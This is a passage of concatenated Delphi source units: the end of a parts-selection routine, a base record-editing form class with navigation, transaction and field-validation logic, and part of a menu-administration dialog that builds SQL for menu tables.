['date_', p_Date,
'np_type', p_NpType,
'part_from_id', p_FromId,
'part_from_inst', p_FromInst,
'part_to_id', p_ToId,
'part_to_inst', p_ToInst]);
sql:=FullSqlTextOra(F.qPartRashPvl);
F.Init(TranslateText('Партии'),sql,'part_name',
'PART_ID,PART_INST,GTD_ID,GTD_INST',
TranslateText('Партия,№ ГТД,Тонн (брутто),Остаток (брутто)'),
'');
F.db.FooterRowCount:=1;
F.db.sumlist.Active:=true;
F.db.Columns[1].Width:=60;
F.db.Columns[2].Width:=120;
F.db.Columns[1].Footer.Value:=TranslateText('Итого');
F.db.Columns[1].Footer.ValueType:=fvtStaticText;
F.db.Columns[3].Footer.DisplayFormat:='0.000';
F.db.Columns[3].Footer.FieldName:='REST_FULL_TONN';
F.db.Columns[3].Footer.ValueType:=fvtSum;
if F.ShowModal=mrOk then begin
CopyToMemoryTable(F.q,pp_MT,
'part_id,part_inst,part_name,gtd_id,gtd_inst,gtd_num,full_count:pr_real_tonn,rest_full_tonn:pr_tonn',
'checked','1',false);
end;
F.Free;
end;
//==============================================================================
end.
|
unit uParentCustomFch;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uParentForm, mrConfigFch, uNTDataSetControl, uNTUpdateControl,
DBClient, uSystemTypes, DB, StdCtrls, ExtCtrls, uMRSQLParam, uNTTraceControl,
XiButton, uUserObj;
type
TParentCustomFch = class(TParentForm)
dsFch: TDataSource;
pnlTitulo: TPanel;
PrintFch: TPrintDialog;
ConfigFch: TmrConfigFch;
btnLoop: TXiButton;
lbLoop: TLabel;
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure OnFirstClick(Sender: TObject);
procedure OnPriorClick(Sender: TObject);
procedure OnNextClick(Sender: TObject);
procedure OnLastClick(Sender: TObject);
procedure OnPrintClick(Sender: TObject);
procedure OnLoopClick(Sender: TObject);
procedure dsFchStateChange(Sender: TObject);
private
FDataSet: TClientDataSet;
FParams: String;
FActionType: TActionType;
FTransaction: TmrTransaction;
FOwnerTransaction: Boolean;
FSession: TmrSession;
FTraceControl: TmrTraceControl;
FDataSetControl: TmrDataSetControl;
FUpdateControl: TmrUpdateControl;
FOwnerSession: Boolean;
FInInsertLoop: Boolean;
FOnGetTransaction: TOnGetTransaction;
FOnGetForeignKeyValue: TOnGetForeignKeyValue;
FOnLastRecord: TNotifyEvent;
FOnPriorRecord: TNotifyEvent;
FOnFirstRecord: TNotifyEvent;
FOnNextRecord: TNotifyEvent;
FOnCanNextRecord: TOnCanNavigate;
FOnCanPriorRecord: TOnCanNavigate;
FKeyFieldName : String;
procedure ConfigAppend;
procedure ConfigEdit;
procedure ConfigBrowse;
procedure UpdateNavigation;
procedure UpdateButtons;
procedure CancelChanges;
procedure SetTransaction;
procedure SetDefaultFieldsValues;
procedure SetFieldValue(aFieldName: String; aValue: Variant);
procedure GetIdentityField;
procedure SetIdentityField;
procedure SetCodeField;
procedure SetForeignField;
function GetForeignFieldName: String;
function GetKeyFieldName: String;
function TestBeforeNavigation: Integer;
function TestFieldFill: Boolean;
function TesteFieldsFill(sFields: String): Boolean;
function TestUniqueFields: Boolean;
function FormRestricted : Boolean;
protected
FSystemUser : TUser;
procedure ConfigButtons(aActionType: TActionType); virtual; abstract;
procedure ConfigNavigation(aCanPrior, aCanNext: Boolean); virtual; abstract;
procedure SetPageControl(PageIndex: Integer); virtual; abstract;
procedure RestrictForm; virtual;
public
destructor Destroy; override;
procedure Init(ATraceControl: TmrTraceControl; ADataSetControl: TmrDataSetControl;
AUpdateControl: TmrUpdateControl; ASession: TmrSession; ADataSet: TClientDataSet;
ASystemUser : TUser; AParams: String = '');
function ShowFch: Boolean;
function ApplyChanges: Boolean;
function GetKeyFieldValue: String;
procedure Append(AParams: String = '');
procedure Open(AParams: String = '');
property KeyFieldName: String read GetKeyFieldName;
property ForeignFieldName: String read GetForeignFieldName;
property DataSet: TClientDataSet read FDataSet write FDataSet;
property ActionType: TActionType read FActionType write FActionType;
property Params: String read FParams write FParams;
property Session: TmrSession read FSession write FSession;
property TraceControl: TmrTraceControl read FTraceControl;
property DataSetControl: TmrDataSetControl read FDataSetControl;
property UpdateControl: TmrUpdateControl read FUpdateControl;
property OwnerSession: Boolean read FOwnerSession write FOwnerSession;
property Transaction: TmrTransaction read FTransaction write FTransaction;
property OwnerTransaction: Boolean read FOwnerTransaction write FOwnerTransaction;
property OnFirstRecord: TNotifyEvent read FOnFirstRecord write FOnFirstRecord;
property OnPriorRecord: TNotifyEvent read FOnPriorRecord write FOnPriorRecord;
property OnNextRecord: TNotifyEvent read FOnNextRecord write FOnNextRecord;
property OnLastRecord: TNotifyEvent read FOnLastRecord write FOnLastRecord;
property OnCanPriorRecord: TOnCanNavigate read FOnCanPriorRecord write FOnCanPriorRecord;
property OnCanNextRecord: TOnCanNavigate read FOnCanNextRecord write FOnCanNextRecord;
property OnGetTransaction: TOnGetTransaction read FOnGetTransaction write FOnGetTransaction;
property OnGetForeignKeyValue: TOnGetForeignKeyValue read FOnGetForeignKeyValue write FOnGetForeignKeyValue;
end;
implementation
uses uNTFieldFunctions, mrMsgBox, uMRParam, uParamFunctions;
{$R *.dfm}
{ TParentCustomFch }
procedure TParentCustomFch.ConfigEdit;
begin
FTraceControl.TraceIn('TParentCustomFch.ConfigEdit');
ActionType := atEdit;
if Assigned(ConfigFch.OnBeforeEdit) then
ConfigFch.OnBeforeEdit(Self);
SetTransaction;
UpdateButtons;
if Assigned(ConfigFch.OnAfterEdit) then
ConfigFch.OnAfterEdit(Self);
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.ConfigAppend;
begin
FTraceControl.TraceIn('TParentCustomFch.ConfigAppend');
ActionType := atAppend;
if Assigned(ConfigFch.OnBeforeAppend) then
ConfigFch.OnBeforeAppend(Self);
SetTransaction;
SetDefaultFieldsValues;
UpdateButtons;
if Assigned(ConfigFch.OnAfterAppend) then
ConfigFch.OnAfterAppend(Self);
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.ConfigBrowse;
begin
FTraceControl.TraceIn('TParentCustomFch.ConfigBrowse');
ActionType := atBrowse;
if Assigned(ConfigFch.OnBeforeBrowse) then
ConfigFch.OnBeforeBrowse(Self);
UpdateButtons;
if Assigned(ConfigFch.OnAfterBrowse) then
ConfigFch.OnAfterBrowse(Self);
FTraceControl.TraceOut;
end;
destructor TParentCustomFch.Destroy;
begin
FTraceControl.TraceIn('TParentCustomFch.Destroy');
if OwnerSession then
Session.Terminate;
inherited Destroy;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.dsFchStateChange(Sender: TObject);
begin
FTraceControl.TraceIn('TParentCustomFch.Destroy');
try
if dsFch.State in [dsInsert] then
ConfigAppend
else if dsFch.State in [dsEdit] then
ConfigEdit
else
ConfigBrowse;
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
procedure TParentCustomFch.Init(ATraceControl: TmrTraceControl; ADataSetControl: TmrDataSetControl;
AUpdateControl: TmrUpdateControl; ASession: TmrSession; ADataSet: TClientDataSet;
ASystemUser : TUser; AParams: String = '');
begin
FInInsertLoop := False;
FTraceControl := ATraceControl;
FDataSetControl := ADataSetControl;
FUpdateControl := AUpdateControl;
FSystemUser := ASystemUser;
FTraceControl.TraceIn('TParentCustomFch.Init');
try
Params := AParams;
Self.Caption := ParseParam(Params, 'MenuDisplay');
ConfigFch.DoBeforeStart;
OwnerSession := ASession = nil;
if OwnerSession then
Session := FDataSetControl.CreateSession
else
Session := ASession;
if ADataSet = nil then
DataSet := Session.CreateDataSet(ConfigFch.Connection, ConfigFch.ProviderName)
else
DataSet := ADataSet;
dsFch.DataSet := DataSet;
dsFch.OnStateChange := dsFchStateChange;
//Seto PacketRecords=0 para abrir o sem dar o fetch.
//E preciso carregar os fields (MetaData) para configurar a grid.
//Depois e preciso setar a PacketRecords=-1 para abrir dando o fetch.
if not DataSet.Active then
try
DataSet.PacketRecords := 0;
DataSet.Open;
finally
DataSet.PacketRecords := -1;
end;
FKeyFieldName := DataSet.GetOptionalParam('IdentityField');
if FormRestricted then
RestrictForm;
ConfigFch.DoAfterStart;
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
procedure TParentCustomFch.SetTransaction;
var
ATransaction: TmrTransaction;
begin
FTraceControl.TraceIn('TParentCustomFch.SetTransaction');
ATransaction := nil;
if Assigned(FOnGetTransaction) then
OnGetTransaction(Self, ATransaction);
OwnerTransaction := ATransaction = nil;
if OwnerTransaction then
ATransaction := FUpdateControl.CreateTransaction;
Transaction := ATransaction;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.SetDefaultFieldsValues;
var
Field, Fields: String;
Value: Variant;
begin
FTraceControl.TraceIn('TParentCustomFch.SetDefaultFieldsValues');
// Pega informações passadas pelo servidor através do evento
// BeforeGetParam do DataSetProvider
Fields := DataSet.GetOptionalParam('FieldsDefaultValues');
while Fields <> '' do
begin
GetParamDefaultValue(Fields, Field, Value);
SetFieldValue(Field, Value);
end;
SetIdentityField;
SetCodeField;
SetForeignField;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.SetFieldValue(aFieldName: String; aValue: Variant);
var
fField: TField;
begin
FTraceControl.TraceIn('TParentCustomFch.SetFieldValue');
fField := DataSet.FindField(aFieldName);
if fField <> nil then
begin
if (fField is TDateTimeField) or (fField is TSQLTimeStampField) then
TDateTimeField(fField).AsDateTime := aValue
else if fField is TBooleanField then
TBooleanField(fField).AsBoolean := aValue
else
fField.Value := aValue;
end;
FTraceControl.TraceOut;
end;
function TParentCustomFch.GetForeignFieldName: String;
begin
Result := DataSet.GetOptionalParam('ForeignField');
end;
procedure TParentCustomFch.SetForeignField;
var
ForeignKeyValue: TMRSQLParam;
begin
FTraceControl.TraceIn('TParentCustomFch.SetForeignField');
if DataSet.GetOptionalParam('ForeignField') <> '' then
try
ForeignKeyValue := TMRSQLParam.Create;
if Assigned(FOnGetForeignKeyValue) then
begin
OnGetForeignKeyValue(Self, ForeignKeyValue);
DataSet.FieldByName(DataSet.GetOptionalParam('ForeignField')).Value :=
ForeignKeyValue.KeyByName(DataSet.GetOptionalParam('ForeignField')).AsString;
end;
finally
ForeignKeyValue.Free;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.SetCodeField;
begin
FTraceControl.TraceIn('TParentCustomFch.SetCodeField');
if DataSet.GetOptionalParam('AutoGenerateCode') then
DataSet.FieldByName(DataSet.GetOptionalParam('CodeField')).Value :=
FDataSetControl.Connection.AppServer.GetNextCode(
DataSet.GetOptionalParam('TableName'),
DataSet.GetOptionalParam('CodeField'));
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.SetIdentityField;
begin
FTraceControl.TraceIn('TParentCustomFch.SetIdentityField');
if DataSet.GetOptionalParam('AutoGenerateIdentity') then
GetIdentityField;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.GetIdentityField;
begin
FTraceControl.TraceIn('TParentCustomFch.GetIdentityField');
if GetKeyFieldName <> '' then
DataSet.FieldByName(GetKeyFieldName).Value :=
FDataSetControl.Connection.AppServer.GetNextCode(
DataSet.GetOptionalParam('TableName'), GetKeyFieldName);
FTraceControl.TraceOut;
end;
function TParentCustomFch.GetKeyFieldName: String;
begin
Result := FKeyFieldName;
end;
function TParentCustomFch.GetKeyFieldValue: String;
var
i: Integer;
begin
FTraceControl.TraceIn('TParentCustomFch.GetKeyFieldValue');
try
for i := 0 to DataSet.Fields.Count-1 do
if pfInKey in DataSet.Fields[i].ProviderFlags then
begin
Result := DataSet.Fields[i].AsString;
Break;
end;
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
function TParentCustomFch.ShowFch: Boolean;
var
TabIndex: Integer;
begin
Result := False;
FTraceControl.TraceIn('TParentCustomFch.ShowFch');
try
TabIndex := 0;
ConfigFch.DoActiveTab(TabIndex);
SetPageControl(TabIndex);
UpdateNavigation;
Result := (ShowModal = mrOk);
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
procedure TParentCustomFch.Open(AParams: String);
begin
FTraceControl.TraceIn('TParentCustomFch.Open');
try
Params := AParams;
ConfigBrowse;
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
procedure TParentCustomFch.Append(AParams: String);
begin
FTraceControl.TraceIn('TParentCustomFch.Append');
try
Params := AParams;
DataSet.Append;
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
function TParentCustomFch.ApplyChanges: Boolean;
begin
FTraceControl.TraceIn('TParentCustomFch.ApplyChanges');
Result := False;
try
if (GetKeyFieldName <> '') and (DataSet.FieldByName(GetKeyFieldName).Value = null) then
GetIdentityField;
DataSet.UpdateRecord;
if TestFieldFill and TestUniqueFields and ConfigFch.DoBeforeApplyChanges then
begin
DataSet.CheckBrowseMode;
Transaction.PostUpdate(DataSet);
if OwnerTransaction then
begin
ConfigFch.DoBeforeCommitTransaction;
if Transaction.CommitTransaction then
begin
Transaction := nil;
OwnerTransaction := False;
Result := True;
ConfigFch.DoAfterApplyChanges;
DataSet.Refresh;
ConfigFch.DoAfterNavigation;
end
else
raise Exception.Create('Transaction.CommitTransaction error');
end
else
Result := True;
end;
FTraceControl.TraceOut;
except
on E: Exception do
FTraceControl.SaveTrace(FSystemUser.ID, E.Message, Self.ClassName);
end;
end;
function TParentCustomFch.TestFieldFill: Boolean;
var
sFields: String;
i: Integer;
begin
FTraceControl.TraceIn('TParentCustomFch.TestFieldFill');
sFields := '';
with dsFch.DataSet do
for i := 0 to FieldCount-1 do
if Fields[i].Required then
begin
if sFields <> '' then
sFields := sFields + ';';
sFields := sFields + Fields[i].FieldName;
end;
Result := TesteFieldsFill(sFields);
FTraceControl.TraceOut;
end;
function TParentCustomFch.TesteFieldsFill(sFields: String): Boolean;
var
i: Integer;
Msg1, Msg2: String;
slFields: TStringList;
fField: TField;
begin
FTraceControl.TraceIn('TParentCustomFch.TesteFieldsFill');
Msg2 := '';
Result := True;
slFields := TStringList.Create;
with slFields do
try
Delimiter := ';';
DelimitedText := sFields;
for i := 0 to Count-1 do
begin
fField := DataSet.FieldByName(Strings[i]);
if (fField.AsString = '') and (Result) then
begin
Result := False;
Msg1 := 'Required field [' + fField.DisplayLabel + '].';
fField.FocusControl;
end;
if fField.AsString = '' then
begin
if Msg2 <> '' then
Msg2 := Msg2 + ',';
Msg2 := Msg2 + fField.DisplayLabel;
end;
end;
if not Result then
MsgBox(Msg1 + '_The required fields are :' + Msg2, vbInformation + vbOKOnly);
finally
Free;
end;
FTraceControl.TraceOut;
end;
function TParentCustomFch.TestUniqueFields: Boolean;
var
sMsg,
sTableName,
sFieldToCompare,
sValueToCompare,
sField,
sUniqueFields,
sUniqueFieldsList: String;
i: Integer;
begin
FTraceControl.TraceIn('TParentCustomFch.TestUniqueFields');
Result := True;
sTableName := UpperCase(DataSet.GetOptionalParam('TableName'));
sUniqueFieldsList := UpperCase(DataSet.GetOptionalParam('UniqueFields'));
while sUniqueFieldsList <> '' do
begin
sFieldToCompare := '';
sValueToCompare := '';
sMsg := '';
sUniqueFields := Copy(sUniqueFieldsList, 1, Pos(';', sUniqueFieldsList)-1);
sUniqueFieldsList := Copy(sUniqueFieldsList, Pos(';', sUniqueFieldsList)+1, Length(sUniqueFieldsList));
while sUniqueFields <> '' do
begin
if Pos(',', sUniqueFields) > 0 then
begin
sField := Copy(sUniqueFields, 1, Pos(',', sUniqueFields)-1);
sUniqueFields := Copy(sUniqueFields, Pos(',', sUniqueFields)+1, Length(sUniqueFields));
end
else
begin
sField := sUniqueFields;
sUniqueFields := '';
end;
for i := 0 to DataSet.Fields.Count-1 do
if UpperCase(DataSet.Fields[i].FieldName) = sField then
begin
if sMsg = '' then
sMsg := 'The value [' + DataSet.Fields[i].AsString + '] of the field [' +
DataSet.Fields[i].DisplayLabel + '] was already used and cannot be equal.';
if sFieldToCompare <> '' then
sFieldToCompare := sFieldToCompare + ',';
sFieldToCompare := sFieldToCompare + DataSet.Fields[i].FieldName;
if sValueToCompare <> '' then
sValueToCompare := sValueToCompare + ',';
sValueToCompare := sValueToCompare + DataSet.Fields[i].AsString;
end;
end;
if (sFieldToCompare <> '') and (sValueToCompare <> '') then
Result := FDataSetControl.Connection.AppServer.TestUniqueFields(sTableName,
sFieldToCompare, sValueToCompare, GetKeyFieldName, GetKeyFieldValue);
if not Result then
begin
MsgBox(sMsg, vbInformation + vbOKOnly);
Exit;
end;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.CancelChanges;
begin
FTraceControl.TraceIn('TParentCustomFch.CancelChanges');
ConfigFch.DoBeforeCancelChanges;
DataSet.Cancel;
if OwnerTransaction then
begin
Transaction.RollBackTransaction;
Transaction := nil;
OwnerTransaction := False;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.OnLastClick(Sender: TObject);
begin
FTraceControl.TraceIn('TParentCustomFch.OnLastClick');
if TestBeforeNavigation <> 0 then
try
OnLastRecord(Sender);
UpdateNavigation;
finally
ConfigFch.DoAfterNavigation;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.OnLoopClick(Sender: TObject);
begin
FInInsertLoop := not FInInsertLoop;
lbLoop.Visible := FInInsertLoop;
end;
procedure TParentCustomFch.OnPriorClick(Sender: TObject);
begin
FTraceControl.TraceIn('TParentCustomFch.OnPriorClick');
if TestBeforeNavigation <> 0 then
try
OnPriorRecord(Sender);
UpdateNavigation;
finally
ConfigFch.DoAfterNavigation;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.OnPrintClick(Sender: TObject);
begin
if PrintFch.Execute then
Print;
end;
procedure TParentCustomFch.OnFirstClick(Sender: TObject);
begin
FTraceControl.TraceIn('TParentCustomFch.OnFirstClick');
if TestBeforeNavigation <> 0 then
try
OnFirstRecord(Sender);
UpdateNavigation;
finally
ConfigFch.DoAfterNavigation;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.OnNextClick(Sender: TObject);
begin
FTraceControl.TraceIn('TParentCustomFch.OnNextClick');
if TestBeforeNavigation <> 0 then
try
OnNextRecord(Sender);
UpdateNavigation;
finally
ConfigFch.DoAfterNavigation;
end;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
inherited;
FTraceControl.TraceIn('TParentCustomFch.FormCloseQuery');
CanClose := False;
if DataSet.State in dsEditModes then
begin
if ModalResult = mrOk then
begin
if ConfigFch.ConfirmApply then
if MsgBox('Apply changes?', vbQuestion + vbYesNo) = vbNo then
Exit;
if not ApplyChanges then
Exit
else
CanClose := True;
if FInInsertLoop then
begin
Append;
ModalResult := mrNone;
end;
end
else
begin
if ConfigFch.ConfirmCancel then
if MsgBox('Cancel changes?', vbQuestion + vbYesNo) = vbNo then
Exit;
CancelChanges;
CanClose := True;
end;
end
else
CanClose := True;
FTraceControl.TraceOut;
end;
function TParentCustomFch.TestBeforeNavigation: Integer;
var
Msg: Integer;
begin
FTraceControl.TraceIn('TParentCustomFch.TestBeforeNavigation');
Result := 0;
if dsFch.State in dsEditModes then
begin
Msg := MsgBox('Save changes?', vbQuestion + vbYesNoCancel);
if Msg = vbYes then
begin
if not ApplyChanges then
Exit;
ActionType := atBrowse;
Result := 2;
end
else if Msg = vbNo then
begin
CancelChanges;
ActionType := atBrowse;
Result := 1;
end;
end
else
Result := 1;
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.UpdateButtons;
begin
FTraceControl.TraceIn('TParentCustomFch.UpdateButtons');
btnLoop.Visible := (ActionType = atAppend);
ConfigButtons(ActionType);
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.UpdateNavigation;
var
CanPrior, CanNext: Boolean;
begin
FTraceControl.TraceIn('TParentCustomFch.UpdateNavigation');
CanPrior := False;
CanNext := False;
if Assigned(OnCanPriorRecord) then
OnCanPriorRecord(Self, CanPrior);
if Assigned(OnCanNextRecord) then
OnCanNextRecord(Self, CanNext);
ConfigNavigation(CanPrior, CanNext);
FTraceControl.TraceOut;
end;
procedure TParentCustomFch.RestrictForm;
begin
//Herdado
end;
function TParentCustomFch.FormRestricted: Boolean;
begin
Result := False;
if Assigned(FDataSetControl) then
begin
if (Pos(Self.Name, FDataSetControl.RestrictForms) > 0) then
Result := True;
if not Result then
Result := FDataSetControl.SoftwareExpired;
end;
end;
end.
|
unit ufrmDialogAddNewMenu;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ufrmMasterDialog, ufraFooterDialog2Button, ExtCtrls,
Mask, StdCtrls, uMenuManagement, DB,
cxGraphics, cxLookAndFeels, cxLookAndFeelPainters, Vcl.Menus, cxControls,
cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxEdit, cxNavigator,
cxDBData, cxGridLevel, cxGridCustomTableView, cxGridTableView,
cxGridDBTableView, cxClasses, cxGridCustomView, cxGrid, cxButtons,
cxContainer, cxTextEdit, cxMaskEdit, cxButtonEdit, System.Actions,
Vcl.ActnList, ufraFooterDialog3Button;
type
TfrmDialogAddNewMenu = class(TfrmMasterDialog)
Panel1: TPanel;
pnl1: TPanel;
pnl2: TPanel;
GroupBox1: TGroupBox;
Label4: TLabel;
Suplier: TLabel;
Label2: TLabel;
cboLabel: TComboBox;
Label6: TLabel;
edtModName: TEdit;
edtActionName: TEdit;
Label7: TLabel;
edtModCaption: TEdit;
GroupBox2: TGroupBox;
lbl2: TLabel;
lbl3: TLabel;
Label1: TLabel;
edtParentName: TEdit;
edtMenuCaption: TEdit;
edtMenuName: TEdit;
Label8: TLabel;
Label9: TLabel;
GroupBox3: TGroupBox;
Label3: TLabel;
Label5: TLabel;
GroupBox4: TGroupBox;
Label10: TLabel;
Label11: TLabel;
lblMenuNo: TLabel;
lblStatus: TLabel;
btnRefresh: TcxButton;
btnUpdate: TcxButton;
cxGridDBTableView1: TcxGridDBTableView;
cxGridLevel1: TcxGridLevel;
cxGrid: TcxGrid;
cxGridDBTableView1Column1: TcxGridDBColumn;
cxGridDBTableView1Column2: TcxGridDBColumn;
cxGridDBTableView1Column3: TcxGridDBColumn;
cxGridDBTableView1Column4: TcxGridDBColumn;
cxGridDBTableView1Column5: TcxGridDBColumn;
cxGridDBTableView1Column6: TcxGridDBColumn;
cxGridDBTableView1Column7: TcxGridDBColumn;
btnSaveModule: TcxButton;
btnSaveGroupModule: TcxButton;
btnSaveMenu: TcxButton;
cxSaveGroupMenu: TcxButton;
edtModuleID: TcxButtonEdit;
edtGroup_ID: TcxButtonEdit;
edtModule_ID: TcxButtonEdit;
edtParentID: TcxButtonEdit;
edtMenuID: TcxButtonEdit;
edtGroupID: TcxButtonEdit;
edtMenuNo: TcxButtonEdit;
edtGroupID2: TcxButtonEdit;
edtMenuID2: TcxButtonEdit;
procedure edtModIDKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure edtModIDClickBtn(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btnShowClick(Sender: TObject);
procedure btnSaveModuleClick(Sender: TObject);
procedure btnSaveMenuClick(Sender: TObject);
procedure btnSaveGroupModuleClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure btnRefreshClick(Sender: TObject);
procedure cxSaveGroupMenuClick(Sender: TObject);
procedure edtModuleIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtGroup_IDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtModule_IDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtParentIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtMenuIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtGroupIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtMenuNoPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtGroupID2PropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure edtMenuID2PropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
private
{ Private declarations }
FModID : Integer;
FMenuID : Integer;
procedure SetData;
public
procedure ShowWithID(aUnitID: integer; aModID: integer = 0; aMenuID: integer =
0);
{ Public declarations }
end;
var
frmDialogAddNewMenu: TfrmDialogAddNewMenu;
implementation
uses uRetnoUnit,DateUtils, uTSCommonDlg;
{$R *.dfm}
const
_HeaderFlag : Integer = 100001;
procedure TfrmDialogAddNewMenu.edtModIDKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
inherited;
if not Key = VK_F5 then Exit;
edtModIDClickBtn(Sender);
end;
procedure TfrmDialogAddNewMenu.edtModIDClickBtn(Sender: TObject);
//var
// sSQL2: String;
// sSQL: String;
begin
inherited;
// sSQL := 'select a.mod_id as "Module ID",'
// + ' a.mod_name as "Module Name",'
// + ' a.mod_caption as "Menu Caption",'
// + ' a.mod_action as "Action Name"'
// + ' from aut$module a';
// + IntToStr(DialogUnit);
// with cLookUp('Daftar Module Aktif',sSQL,200,1) do
// Begin
// Try
// if Strings[0] = '' then
// Exit;
// edtModID.Text := Strings[0];
// edtModName.Text := Strings[1];
// Finally
// Free;
// End;
// End;
// sSQL2 := 'select b.gro_id, b.gro_name as role_name,'
// + ' b.gro_description as Description'
// + ' from aut$user_group a'
// + ' inner join aut$group b'
// + ' on a.ug_gro_id=b.gro_id'
// + ' where a.ug_usr_id ='
// + Quot(edtUserID.Text)
// + ' and a.ug_gro_unt_id = 3';
// with cOpenQuery(sSQL2) do
// begin
// try
// edtGroupID.Text := Fields[0].AsString;
// edtGroupName.Text := Fields[1].AsString;
// edtketerangan.Text := Fields[2].AsString;
// finally
// Free;
// end;
// end;
end;
procedure TfrmDialogAddNewMenu.edtParentIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
// sSQL := 'select distinct b.menus_parent_menu_id,'
// + ' a.menus_name,a.menus_caption'
// + ' from aut$menu_structure a,aut$menu_structure b'
// + ' where a.menus_id=b.menus_parent_menu_id';
sSQL := 'select distinct a.MENUS_ID,'
+ ' a.menus_name,a.menus_caption'
+ ' from aut$menu_structure a'
+ ' WHERE MENUS_UNT_ID='+ IntToStr(DialogUnit);
// ,aut$menu_structure b'
// + ' where a.menus_id=b.menus_parent_menu_id';
// with cLookUp('Daftar Menu Parent',sSQL,200,1) do
// Begin
// Try
// if Strings[0] = '' then
// Exit;
// edtParentID.Text := Strings[0];
// edtParentName.Text := Strings[1];
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.FormShow(Sender: TObject);
begin
inherited;
btnShowClick(Sender);
end;
procedure TfrmDialogAddNewMenu.btnShowClick(Sender: TObject);
var
sSQL: String;
begin
inherited;
ssQL := 'select ms.menus_no as "No", ms.MENUS_ID as "Menu ID",'
+ ' ms.menus_parent_menu_id as "Parent ID",'
+ ' ms.menus_name as "Menu Name", ms.menus_caption as "Caption",'
+ ' ms.menus_mod_id as "Mod ID"'
+ ' from aut$menu m'
+ ' left join aut$menu_structure ms on menus_id=menu_id'
+ ' where menu_gro_unt_id=' + IntToStr(DialogUnit)
+ ' order by ms.menus_no, m.menu_id';
// cClearGrid(clgrdMenu,False);
// cQueryToGrid(sSQL,clgrdMenu,True);
// clgrdMenu.AutoSize := False;
// clgrdMenu.AutoSizeColumns(False,12);
end;
procedure TfrmDialogAddNewMenu.cxSaveGroupMenuClick(Sender: TObject);
var
sSQL : string;
begin
IF FModID = 0 then
begin
sSQL := 'INSERT INTO AUT$MENU (MENU_ID, MENU_UNT_ID, MENU_GRO_ID,'
+ ' MENU_GRO_UNT_ID) VALUES ('+ TRIm(edtMenuID2.TEXT)
+ ', '+ IntToStr(DialogUnit)
+ ', '+ Trim(edtGroupID2.Text)
+ ', '+ IntToStr(DialogUnit) + ')';
end
else
begin
sSQL := 'UPDATE AUT$MENU SET MENU_ID = '+ TRIm(edtMenuID2.TEXT)
+ ', MENU_UNT_ID = '+ IntToStr(DialogUnit)
+ ', MENU_GRO_ID = '+ Trim(edtGroupID2.Text)
+ ', MENU_GRO_UNT_ID = '+ IntToStr(DialogUnit)
+ ' WHERE MENU_ID = '+ IntToStr(FMenuID)
+ ' AND MENU_UNT_ID = '+ IntToStr(DialogUnit)
// + ' AND MENU_GRO_ID = '+ IntToStr(FGroupID)
+ ' AND MENU_GRO_UNT_ID = '+ IntToStr(DialogUnit)
end;
// if (cExecSQL(sSQL,False,_HeaderFlag)) and (SimpanBlob(sSQL, _HeaderFlag)) then
// Begin
// cCommitTrans;
// CommonDlg.ShowMessage('Berhasil simpan');
// End
// else
// Begin
// cRollbackTrans;
// CommonDlg.ShowMessage('Gagal simpan');
// End;
end;
procedure TfrmDialogAddNewMenu.edtModuleIDPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
var
sSQL: String;
begin
inherited;
sSQL := 'select max(MOD_ID) from AUT$MODULE';
// with cOpenQuery(sSQL) do
// Begin
// Try
// edtModuleID.Text := IntToStr(Fields[0].AsInteger+1);
// Finally
// Free;
// End;
// End;
end;
procedure TfrmDialogAddNewMenu.btnSaveModuleClick(Sender: TObject);
var
sLabel : String;
sSQL : string;
begin
inherited;
if cboLabel.ItemIndex = 0 then sLabel := 'Add';
if cboLabel.ItemIndex = 1 then sLabel := 'Edit';
